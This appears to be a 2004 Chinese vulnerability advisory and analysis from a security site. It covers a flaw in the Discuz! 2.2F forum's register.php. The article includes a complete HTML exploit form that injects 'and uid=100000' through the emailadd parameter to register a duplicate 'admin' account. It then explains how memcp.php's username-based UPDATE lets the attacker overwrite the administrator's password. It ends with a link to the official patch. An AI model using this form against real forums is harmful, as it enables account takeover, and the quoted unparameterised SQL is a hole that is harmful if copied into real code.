xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

Discuz 2.2F注册程序过滤不严漏洞


创建时间:2004-11-12
文章属性:整理
文章提交:ZhaoHuan (zhaohuan_at_phack.org)

整理: 召唤     ZhaoHuan@phack.org
本来网站被黑是黑丢人的事,但既然在网站都公布出来了,只好厚脸皮发了
这个漏洞是Discuz!免费版2.2F的注册程序存在过滤不严的问题,可以通过构造表单实现特殊的数据库查询,进而危及论坛用户账号的安全。
2004年8月10日以后下载的2.2F程序,没有此问题。
__________________________________________________
HACKBASE:在测试这个漏洞的时候,多谢 娇娘 和xiaolu的帮助。
我们先来搜索一个站点,出于对黑客站点的偏爱,我们选择了
http://www.phack.org/cnelites/来测试....
(注:本人的 http://www.phack.org/cnelites/ 已经关闭)
正文:
作者:ANGEL

我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:


<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>



  这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。


  register.php 的代码中有如下代码:


$email = trim($email);
if(!$doublee && strstr($email, @)) {
  $emailadd = "OR email=$email";
}



  这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=$email" ,为后面的 SQL 语句做准备。往下有一段代码如下:


$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username=$username $emailadd ");
if($db->result($query, 0)) {
  showmessage(profile_account_duplicate);
}



  默认 $emailadd = "OR email=$email" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”


  利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email=$email" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。


<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">



  然后这个语句到了上面的 SQL 语句那里,就变成:


SELECT COUNT(*) FROM $table_members WHERE username=$username and uid=100000



  既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过


if($db->result($query, 0)) {
  showmessage(profile_account_duplicate);
}



  直接到达这里插入记录:


$db->query("INSERT INTO $table_members (........) VALUES (........)");



  也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。


UPDATE $table_members SET ...... WHERE username=$discuz_user



  直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……
____________________________________

DZ官方已经公布了补丁:

http://www.discuz.net/viewthread.php?tid=70696&extra=page%3D1